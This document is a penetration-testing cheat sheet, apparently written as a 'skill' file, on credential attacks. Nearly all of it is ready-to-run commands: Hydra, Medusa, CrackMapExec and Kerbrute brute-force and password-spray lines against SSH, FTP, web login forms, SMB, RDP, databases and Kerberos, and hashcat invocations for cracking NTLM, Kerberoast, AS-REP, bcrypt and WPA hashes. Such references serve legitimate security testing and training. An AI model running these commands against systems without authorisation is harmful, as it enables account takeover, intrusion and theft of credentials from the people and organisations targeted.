Credential Attacks

Credential Attacks Skill

Overview

Techniques for discovering, cracking, and using credentials in penetration testing.

Online Attacks (Brute Force)

Hydra

# SSH
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET>
hydra -L users.txt -P passwords.txt ssh://<TARGET>

# FTP
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET>

# HTTP Basic Auth
hydra -l admin -P passwords.txt <TARGET> http-get /admin

# HTTP POST Form
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP POST with cookies
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: session=abc123"

# SMB
hydra -l Administrator -P passwords.txt smb://<TARGET>

# RDP
hydra -l Administrator -P passwords.txt rdp://<TARGET>

# MySQL
hydra -l root -P passwords.txt mysql://<TARGET>

# MSSQL
hydra -l sa -P passwords.txt mssql://<TARGET>

Medusa

# SSH
medusa -h <TARGET> -u <USER> -P passwords.txt -M ssh

# FTP
medusa -h <TARGET> -u <USER> -P passwords.txt -M ftp

CrackMapExec

# SMB password spray
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success

# Multiple passwords
crackmapexec smb <TARGET> -u users.txt -p passwords.txt --continue-on-success

# With hashes
crackmapexec smb <TARGET> -u users.txt -H hashes.txt

Kerbrute (Kerberos)

# Password spray (no lockout)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'

# Brute force single user
kerbrute bruteuser -d <DOMAIN> --dc <TARGET> passwords.txt <USER>

Offline Attacks (Hash Cracking)

Identify Hash Type

# Hashid
hashid '<HASH>'

# Hash-identifier
hash-identifier

# Common hash lengths:
# 32 chars = MD5, NTLM
# 40 chars = SHA1
# 64 chars = SHA256
# 128 chars = SHA512

Hashcat

# NTLM (Windows)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# NTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast (TGS)
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roast
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA1
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# MD5 Crypt ($1$)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512 Crypt ($6$)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# WPA/WPA2
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt